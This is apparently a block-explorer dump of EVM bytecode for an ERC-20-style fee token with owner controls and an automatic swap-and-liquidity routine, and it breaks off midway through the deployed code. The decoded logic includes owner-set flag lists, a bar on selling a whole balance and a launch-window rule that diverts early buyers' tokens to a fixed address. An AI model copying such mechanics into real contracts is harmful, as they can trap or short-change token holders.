65b915062000f528362000d67565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000f8a5762000f8962000be4565b5b828201905092915050565b600082825260208201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600062000fde601b8362000f95565b915062000feb8262000fa6565b602082019050919050565b60006020820190508181036000830152620010118162000fcf565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200106057607f821691505b60208210810362001076576200107562001018565b5b50919050565b608051613707620010a660003960008181610b6d01528181610b990152611cd301526137076000f3fe60806040526004361061023f5760003560e01c80638317390b1161012e578063af806d9a116100ab578063d158272d1161006f578063d158272d146108ca578063dc44b6a0146108f5578063dd62ed3e14610920578063f0cd1dac1461095d578063f2fde38b1461098857610246565b8063af806d9a146107e1578063c5d241891461080c578063c816841b14610837578063c860795214610862578063c867d60b1461088d57610246565b806396d0efa7116100f257806396d0efa7146106f8578063a073d37f14610723578063a08e671f1461074e578063a9059cbb14610779578063aea9cd15146107b657610246565b80638317390b1461060f57806388790a681461063a5780638b42507f146106655780638da5cb5b146106a257806395d89b41146106cd57610246565b80634bbb3500116101bc57806361a23c691161018057806361a23c691461052857806370a0823114610553578063715018a61461059057806379451de5146105a757806382eefb43146105e457610246565b80634bbb35001461042f5780634cdc9c63146104585780635342acb41461048357806357a5802f146104c05780636186c424146104eb57610246565b806327c8f8351161020357806327c8f835146103465780632b112e49146103715780632ca114601461039c578063313ce567146103c75780633ecad271146103f257610246565b806306fdde031461024b578063095ea7b3146102765780631694505e146102b357806318160ddd146102de57806323b872dd1461030957610246565b3661024657005b600080fd5b34801561025757600080fd5b506102606109b1565b60405161026d91906129e3565b60405180910390f35b34801561028257600080fd5b5061029d60048036038101906102989190612a9e565b610a43565b6040516102aa9190612af9565b60405180910390f35b3480156102bf57600080fd5b506102c8610a61565b6040516102d59190612b73565b60405180910390f35b3480156102ea57600080fd5b506102f3610a87565b6040516103009190612b9d565b60405180910390f35b34801561031557600080fd5b50610330600480360381019061032b9190612bb8565b610a91565b60405161033d9190612af9565b60405180910390f35b34801561035257600080fd5b5061035b610b6b565b6040516103689190612c1a565b60405180910390f35b34801561037d57600080fd5b50610386610b8f565b6040516103939190612b9d565b60405180910390f35b3480156103a857600080fd5b506103b1610bd3565b6040516103be9190612b9d565b60405180910390f35b3480156103d357600080fd5b506103dc610bd9565b6040516103e99190612c51565b60405180910390f35b3480156103fe57600080fd5b5061041960048036038101906104149190612c6c565b610bf0565b6040516104269190612af9565b60405180910390f35b34801561043b57600080fd5b5061045660048036038101906104519190612cc5565b610c10565b005b34801561046457600080fd5b5061046d610cf9565b60405161047a9190612b9d565b60405180910390f35b34801561048f57600080fd5b506104aa60048036038101906104a59190612c6c565b610cff565b6040516104b79190612af9565b60405180910390f35b3480156104cc57600080fd5b506104d5610d1f565b6040516104e29190612b9d565b60405180910390f35b3480156104f757600080fd5b50610512600480360381019061050d9190612a9e565b610d25565b60405161051f9190612af9565b60405180910390f35b34801561053457600080fd5b5061053d610dd8565b60405161054a9190612b9d565b60405180910390f35b34801561055f57600080fd5b5061057a60048036038101906105759190612c6c565b610dde565b6040516105879190612b9d565b60405180910390f35b34801561059c57600080fd5b506105a5610e27565b005b3480156105b357600080fd5b506105ce60048036038101906105c99190612a9e565b610f73565b6040516105db9190612af9565b60405180910390f35b3480156105f057600080fd5b506105f9611040565b6040516106069190612b9d565b60405180910390f35b34801561061b57600080fd5b50610624611046565b6040516106319190612d26565b60405180910390f35b34801561064657600080fd5b5061064f61106c565b60405161065c9190612b9d565b60405180910390f35b34801561067157600080fd5b5061068c60048036038101906106879190612c6c565b611072565b6040516106999190612af9565b60405180910390f35b3480156106ae57600080fd5b506106b7611092565b6040516106c49190612c1a565b60405180910390f35b3480156106d957600080fd5b506106e26110bb565b6040516106ef91906129e3565b60405180910390f35b34801561070457600080fd5b5061070d61114d565b60405161071a9190612b9d565b60405180910390f35b34801561072f57600080fd5b50610738611153565b6040516107459190612b9d565b60405180910390f35b34801561075a57600080fd5b5061076361115d565b6040516107709190612b9d565b60405180910390f35b34801561078557600080fd5b506107a0600480360381019061079b9190612a9e565b611163565b6040516107ad9190612af9565b60405180910390f35b3480156107c257600080fd5b506107cb611182565b6040516107d89190612b9d565b60405180910390f35b3480156107ed57600080fd5b506107f6611188565b6040516108039190612b9d565b60405180910390f35b34801561081857600080fd5b5061082161118e565b60405161082e9190612b9d565b60405180910390f35b34801561084357600080fd5b5061084c611194565b6040516108599190612c1a565b60405180910390f35b34801561086e57600080fd5b506108776111ba565b6040516108849190612b9d565b60405180910390f35b34801561089957600080fd5b506108b460048036038101906108af9190612c6c565b6111c0565b6040516108c19190612af9565b60405180910390f35b3480156108d657600080fd5b506108df6111e0565b6040516108ec9190612d26565b60405180910390f35b34801561090157600080fd5b5061090a611206565b6040516109179190612b9d565b60405180910390f35b34801561092c57600080fd5b5061094760048036038101906109429190612d41565b61120c565b6040516109549190612b9d565b60405180910390f35b34801561096957600080fd5b50610972611293565b60405161097f9190612b9d565b60405180910390f35b34801561099457600080fd5b506109af60048036038101906109aa9190612c6c565b611299565b005b6060600180546109c090612db0565b80601f01602080910402602001604051908101604052809291908181526020018280546109ec90612db0565b8015610a395780601f10610a0e57610100808354040283529160200191610a39565b820191906000526020600020905b815481529060010190602001808311610a1c57829003601f168201915b5050505050905090565b6000610a57610a506114b1565b84846114b9565b6001905092915050565b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601754905090565b6000610a9e848484611682565b50610b6084610aab6114b1565b610b5b8560405180606001604052806028815260200161368560289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610b116114b1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d099092919063ffffffff16565b6114b9565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000610bce610bbd7f0000000000000000000000000000000000000000000000000000000000000000610dde565b601754611d6d90919063ffffffff16565b905090565b600d5481565b6000600360009054906101000a900460ff16905090565b600a6020528060005260406000206000915054906101000a900460ff1681565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c9590612e2d565b60405180910390fd5b80600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b601b5481565b60076020528060005260406000206000915054906101000a900460ff1681565b60115481565b6000610dce610d326114b1565b84610dc98560066000610d436114b1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461145390919063ffffffff16565b6114b9565b6001905092915050565b60125481565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610eb5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eac90612e2d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000611036610f806114b1565b84611031856040518060600160405280602581526020016136ad6025913960066000610faa6114b1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d099092919063ffffffff16565b6114b9565b6001905092915050565b60155481565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600e5481565b60096020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600280546110ca90612db0565b80601f01602080910402602001604051908101604052809291908181526020018280546110f690612db0565b80156111435780601f1061111857610100808354040283529160200191611143565b820191906000526020600020905b81548152906001019060200180831161112657829003601f168201915b5050505050905090565b60105481565b6000601854905090565b60165481565b60006111776111706114b1565b8484611682565b506001905092915050565b601c5481565b60135481565b600c5481565b601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600f5481565b60086020528060005260406000206000915054906101000a900460ff1681565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b5481565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60145481565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611327576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131e90612e2d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611396576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138d90612ebf565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008082846114629190612f0e565b9050838110156114a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149e90612fb0565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611528576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151f90613042565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e906130d4565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116759190612b9d565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036116f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116e990613166565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611761576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611758906131f8565b60405180910390fd5b601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156118085750600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561184d57600061181885610dde565b905080830361184b57611848611839601d5485611db790919063ffffffff16565b84611d6d90919063ffffffff16565b92505b505b601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156118b2575060006118b084610dde565b145b156118bf5743601b819055505b601e60009054906101000a900460ff16156118e6576118df848484611e01565b9050611d02565b60006118f130610dde565b9050600060185482101590508080156119175750601e60009054906101000a900460ff16155b801561196d5750600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119d257601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16146119d1576119d082611fd4565b5b5b6000600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611a755750600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611a8957611a848787876121c5565b611a95565b611a948787876123ec565b5b9050611ae981600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461145390919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611bb5856040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d099092919063ffffffff16565b600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611c559190612b9d565b60405180910390a3601c54601b54611c6d9190612f0e565b43108015611cc85750601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16145b15611cfa57611cf8867f000000000000000000000000000000000000000000000000000000000000000083611e01565b505b600193505050505b9392505050565b6000838311158290611d51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4891906129e3565b60405180910390fd5b5060008385611d609190613218565b9050809150509392505050565b6000611daf83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d09565b905092915050565b6000611df983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506124c1565b905092915050565b6000611e8c826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d099092919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f2182600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461145390919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611fc19190612b9d565b60405180910390a3600190509392505050565b6001601e60006101000a81548160ff021916908315150217905550600061202d600261201f6016546120116011548761252490919063ffffffff16565b611db790919063ffffffff16565b611db790919063ffffffff16565b905060006120448284611d6d90919063ffffffff16565b905061204f8161259e565b6000479050600061208061206f6002601154611db790919063ffffffff16565b601654611d6d90919063ffffffff16565b905060006120be60026120b0846120a26011548861252490919063ffffffff16565b611db790919063ffffffff16565b611db790919063ffffffff16565b905060006120e9836120db6013548761252490919063ffffffff16565b611db790919063ffffffff16565b90506000612112826121048588611d6d90919063ffffffff16565b611d6d90919063ffffffff16565b9050600081111561214a57612149600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff168261281a565b5b60008211156121805761217f600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168361281a565b5b6000831180156121905750600087115b156121a05761219f8784612865565b5b505050505050506000601e60006101000a81548160ff02191690831515021790555050565b60008060009050600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561224d5761224660646122386014548661252490919063ffffffff16565b611db790919063ffffffff16565b90506122cb565b600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156122ca576122c760646122b96015548661252490919063ffffffff16565b611db790919063ffffffff16565b90505b5b60008111156123cf5761232681600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461145390919063ffffffff16565b600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516123c69190612b9d565b60405180910390a35b6123e28184611d6d90919063ffffffff16565b9150509392505050565b60008060009050600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561244a57600190505b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156124ab5782816124a8919061324c565b90505b80836124b79190612f0e565b9150509392505050565b60008083118290612508576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124ff91906129e3565b60405180910390fd5b506000838561251791906132d5565b9050809150509392505050565b60008083036125365760009050612598565b60008284612544919061324c565b905082848261255391906132d5565b14612593576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161258a90613378565b60405180910390fd5b809150505b92915050565b6000600267ffffffffffffffff8111156125bb576125ba613398565b5b6040519080825280602002602001820160405280156125e95781602001602082028036833780820191505090505b5090503081600081518110612601576126006133c7565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156126a8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906126cc919061340b565b816001815181106126e0576126df6133c7565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061274730601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846114b9565b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016127ab959493929190613531565b600060405180830381600087803b1580156127c557600080fd5b505af11580156127d9573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a7828260405161280e92919061358b565b60405180910390a15050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612860573d6000803e3d6000fd5b505050565b61289230601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846114b9565b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7198230856000806128de611092565b426040518863ffffffff1660e01b8152600401612900969594939291906135bb565b60606040518083038185885af115801561291e573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906129439190613631565b5050505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612984578082015181840152602081019050612969565b83811115612993576000848401525b50505050565b6000601f19601f8301169050919050565b60006129b58261294a565b6129bf8185612955565b93506129cf818560208601612966565b6129d881612999565b840191505092915050565b600060208201905081810360008301526129fd81846129aa565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612a3582612a0a565b9050919050565b612a4581612a2a565b8114612a5057600080fd5b50565b600081359050612a6281612a3c565b92915050565b6000819050919050565b612a7b81612a68565b8114612a8657600080fd5b50565b600081359050612a9881612a72565b92915050565b60008060408385031215612ab557612ab4612a05565b5b6000612ac385828601612a53565b9250506020612ad485828601612a89565b9150509250929050565b60008115159050919050565b612af381612ade565b82525050565b6000602082019050612b0e6000830184612aea565b92915050565b6000819050919050565b6000612b39612b34612b2f84612a0a565b612b14565b612a0a565b9050919050565b6000612b4b82612b1e565b9050919050565b6000612b5d82612b40565b9050919050565b612b6d81612b52565b82525050565b6000602082019050612b886000830184612b64565b92915050565b612b9781612a68565b82525050565b6000602082019050612bb26000830184612b8e565b92915050565b600080600060608486031215612bd157612bd0612a05565b5b6000612bdf86828701612a53565b9350506020612bf086828701612a53565b9250506040612c0186828701612a89565b9150509250925092565b612c1481612a2a565b82525050565b6000602082019050612c2f6000830184612c0b565b92915050565b600060ff82169050919050565b612c4b81612c35565b82525050565b6000602082019050612c666000830184612c42565b92915050565b600060208284031215612c8257612c81612a05565b5b6000612c9084828501612a53565b91505092915050565b612ca281612ade565b8114612cad57600080fd5b50565b600081359050612cbf81612c99565b92915050565b60008060408385031215612cdc57612cdb612a05565b5b6000612cea85828601612a53565b9250506020612cfb85828601612cb0565b9150509250929050565b6000612d1082612a0a565b9050919050565b612d2081612d05565b82525050565b6000602082019050612d3b6000830184612d17565b92915050565b60008060408385031215612d5857612d57612a05565b5b6000612d6685828601612a53565b9250506020612d7785828601612a53565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680612dc857607f821691505b602082108103612ddb57612dda612d81565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612e17602083612955565b9150612e2282612de1565b602082019050919050565b60006020820190508181036000830152612e4681612e0a565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000612ea9602683612955565b9150612eb482612e4d565b604082019050919050565b60006020820190508181036000830152612ed881612e9c565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612f1982612a68565b9150612f2483612a68565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612f5957612f58612edf565b5b828201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000612f9a601b83612955565b9150612fa582612f64565b602082019050919050565b60006020820190508181036000830152612fc981612f8d565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061302c602483612955565b915061303782612fd0565b604082019050919050565b6000602082019050818103600083015261305b8161301f565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006130be602283612955565b91506130c982613062565b604082019050919050565b600060208201905081810360008301526130ed816130b1565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613150602583612955565b915061315b826130f4565b604082019050919050565b6000602082019050818103600083015261317f81613143565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006131e2602383612955565b91506131ed82613186565b604082019050919050565b60006020820190508181036000830152613211816131d5565b9050919050565b600061322382612a68565b915061322e83612a68565b92508282101561324157613240612edf565b5b828203905092915050565b600061325782612a68565b915061326283612a68565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561329b5761329a612edf565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006132e082612a68565b91506132eb83612a68565b9250826132fb576132fa6132a6565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613362602183612955565b915061336d82613306565b604082019050919050565b6000602082019050818103600083015261339181613355565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60008151905061340581612a3c565b92915050565b60006020828403121561342157613420612a05565b5b600061342f848285016133f6565b91505092915050565b6000819050919050565b600061345d61345861345384613438565b612b14565b612a68565b9050919050565b61346d81613442565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6134a881612a2a565b82525050565b60006134ba838361349f565b60208301905092915050565b6000602082019050919050565b60006134de82613473565b6134e8818561347e565b93506134f38361348f565b8060005b8381101561352457815161350b88826134ae565b9750613516836134c6565b9250506001810190506134f7565b5085935050505092915050565b600060a0820190506135466000830188612b8e565b6135536020830187613464565b818103604083015261356581866134d3565b90506135746060830185612c0b565b6135816080830184612b8e565b9695505050505050565b60006040820190506135a06000830185612b8e565b81810360208301526135b281846134d3565b90509392505050565b600060c0820190506135d06000830189612c0b565b6135dd6020830188612b8e565b6135ea6040830187613464565b6135f76060830186613464565b6136046080830185612c0b565b61361160a0830184612b8e565b979650505050505050565b60008151905061362b81612a72565b92915050565b60008060006060848603121561364a57613649612a05565b5b60006136588682870161361c565b93505060206136698682870161361c565b925050604061367a8682870161361c565b915050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220ec775cc90e6bbc5be38c9e8e4c354d1df584e89c7bdddd717d98281c3d1e840c64736f6c634300080d0033

Deployed Bytecode

0x60806040526004361061023f5760003560e01c80638317390b1161012e578063af806d9a116100ab578063d158272d1161006f578063d158272d146108ca578063dc44b6a0146108f5578063dd62ed3e14610920578063f0cd1dac1461095d578063f2fde38b1461098857610246565b8063af806d9a146107e1578063c5d241891461080c578063c816841b14610837578063c860795214610862578063c867d60b1461088d57610246565b806396d0efa7116100f257806396d0efa7146106f8578063a073d37f14610723578063a08e671f1461074e578063a9059cbb14610779578063aea9cd15146107b657610246565b80638317390b1461060f57806388790a681461063a5780638b42507f146106655780638da5cb5b146106a257806395d89b41146106cd57610246565b80634bbb3500116101bc57806361a23c691161018057806361a23c691461052857806370a0823114610553578063715018a61461059057806379451de5146105a757806382eefb43146105e457610246565b80634bbb35001461042f5780634cdc9c63146104585780635342acb41461048357806357a5802f146104c05780636186c424146104eb57610246565b806327c8f8351161020357806327c8f835146103465780632b112e49146103715780632ca114601461039c578063313ce567146103c75780633ecad271146103f257610246565b806306fdde031461024b578063095ea7b3146102765780631694505e146102b357806318160ddd146102de57806323b872dd1461030957610246565b3661024657005b600080fd5b34801561025757600080fd5b506102606109b1565b60405161026d91906129e3565b60405180910390f35b34801561028257600080fd5b5061029d60048036038101906102989190612a9e565b610a43565b6040516102aa9190612af9565b60405180910390f35b3480156102bf57600080fd5b506102c8610a61565b6040516102d59190612b73565b60405180910390f35b3480156102ea57600080fd5b506102f3610a87565b6040516103009190612b9d565b60405180910390f35b34801561031557600080fd5b50610330600480360381019061032b9190612bb8565b610a91565b60405161033d9190612af9565b60405180910390f35b34801561035257600080fd5b5061035b610b6b565b6040516103689190612c1a565b60405180910390f35b34801561037d57600080fd5b50610386610b8f565b6040516103939190612b9d565b60405180910390f35b3480156103a857600080fd5b506103b1610bd3565b6040516103be9190612b9d565b60405180910390f35b3480156103d357600080fd5b506103dc610bd9565b6040516103e99190612c51565b60405180910390f35b3480156103fe57600080fd5b5061041960048036038101906104149190612c6c565b610bf0565b6040516104269190612af9565b60405180910390f35b34801561043b57600080fd5b5061045660048036038101906104519190612cc5565b610c10565b005b34801561046457600080fd5b5061046d610cf9565b60405161047a9190612b9d565b60405180910390f35b34801561048f57600080fd5b506104aa60048036038101906104a59190612c6c565b610cff565b6040516104b79190612af9565b60405180910390f35b3480156104cc57600080fd5b506104d5610d1f565b6040516104e29190612b9d565b60405180910390f35b3480156104f757600080fd5b50610512600480360381019061050d9190612a9e565b610d25565b60405161051f9190612af9565b60405180910390f35b34801561053457600080fd5b5061053d610dd8565b60405161054a9190612b9d565b60405180910390f35b34801561055f57600080fd5b5061057a60048036038101906105759190612c6c565b610dde565b6040516105879190612b9d565b60405180910390f35b34801561059c57600080fd5b506105a5610e27565b005b3480156105b357600080fd5b506105ce60048036038101906105c99190612a9e565b610f73565b6040516105db9190612af9565b60405180910390f35b3480156105f057600080fd5b506105f9611040565b6040516106069190612b9d565b60405180910390f35b34801561061b57600080fd5b50610624611046565b6040516106319190612d26565b60405180910390f35b34801561064657600080fd5b5061064f61106c565b60405161065c9190612b9d565b60405180910390f35b34801561067157600080fd5b5061068c60048036038101906106879190612c6c565b611072565b6040516106999190612af9565b60405180910390f35b3480156106ae57600080fd5b506106b7611092565b6040516106c49190612c1a565b60405180910390f35b3480156106d957600080fd5b506106e26110bb565b6040516106ef91906129e3565b60405180910390f35b34801561070457600080fd5b5061070d61114d565b60405161071a9190612b9d565b60405180910390f35b34801561072f57600080fd5b50610738611153565b6040516107459190612b9d565b60405180910390f35b34801561075a57600080fd5b5061076361115d565b6040516107709190612b9d565b60405180910390f35b34801561078557600080fd5b506107a0600480360381019061079b9190612a9e565b611163565b6040516107ad9190612af9565b60405180910390f35b3480156107c257600080fd5b506107cb611182565b6040516107d89190612b9d565b60405180910390f35b3480156107ed57600080fd5b506107f6611188565b6040516108039190612b9d565b60405180910390f35b34801561081857600080fd5b5061082161118e565b60405161082e9190612b9d565b60405180910390f35b34801561084357600080fd5b5061084c